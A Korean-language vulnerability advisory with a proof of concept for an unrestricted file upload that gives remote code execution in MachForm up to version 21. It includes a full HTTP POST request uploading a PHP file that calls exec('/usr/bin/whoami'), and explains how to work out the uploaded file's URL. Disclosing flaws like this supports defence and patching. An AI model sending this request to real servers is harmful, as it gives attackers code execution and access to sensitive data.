
MachForm 버전 21까지의 인증된 무제한 파일 업로드로 인한 원격 코드 실행을 위한 개념 증명 익스플로잇으로, 상세한 요청 예시와 공격 단계를 포함합니다.
MachForm 버전 21까지는 인증된 무제한 파일 업로드에 영향을 받아 원격 코드 실행이 가능합니다.
이 애플리케이션은 파일 업로드 기능이 있는 양식을 생성할 수 있는 기능을 제공합니다. 기본적으로 허용되는 파일은 일반적인 안전한 하위 집합으로 제한되지만, 양식 작성자는 추가로 허용할 형식을 지정할 수 있습니다.
양식 생성 권한이 있는 사용자가 'PHP' 형식이 허용된 파일 업로드 기능이 있는 양식을 만들면, 인증되지 않은 사용자도 이 양식을 악용하여 원격 코드 실행을 얻을 수 있습니다.
이 취약점을 악용하려면 'PHP' 확장자가 허용 목록에 포함된 파일 업로드 기능이 활성화된 양식이 필요합니다.

이 전제 조건이 충족되면, 인증되지 않은 사용자도 해당 양식으로 이동하여 파일 업로드 취약점을 악용할 수 있습니다.
양식에 업로드되었지만 양식 내에서 아직 제출되지 않은 파일은 웹 서버의 미리 결정된 디렉토리에 .tmp 형식으로 업로드됩니다.

요청:
POST /upload.php HTTP/1.1
Host: application-baseurl
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://application-baseurl
Content-Type: multipart/form-data; boundary=---------------------------6934955361623015052738262130
Content-Length: 657
Origin: https://application-baseurl
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="Filedata"; filename="whoami.php"
Content-Type: application/x-php
<?php
echo 'whoami = '.exec('/usr/bin/whoami');
?>
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="form_id"
62461
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="element_id"
1
-----------------------------6934955361623015052738262130
Content-Disposition: form-data; name="file_token"
9d96df33b71cadaad638c20f0540da39
-----------------------------6934955361623015052738262130--
업로드된 파일의 전체 경로는 필요한 모든 필드를 포함하는 업로드 요청을 사용하여 구성할 수 있습니다:
/data/form_{form_id}/files/element_{element_id}_{file_token}-{file_name}.php.tmp
이 시나리오에서 업로드된 파일 URL은 다음과 같습니다:
/data/form_62461/files/element_1_9d96df33b71cadaad638c20f0540da39-whoami.php.tmp

원격 코드 실행을 획득하면 대상 서버에서 직접 작업이 가능해지며, 이는 애플리케이션 범위를 넘어서는 액세스를 허용하고 민감한 정보를 읽거나 핵심 구성 요소를 변경/삭제할 수 있습니다.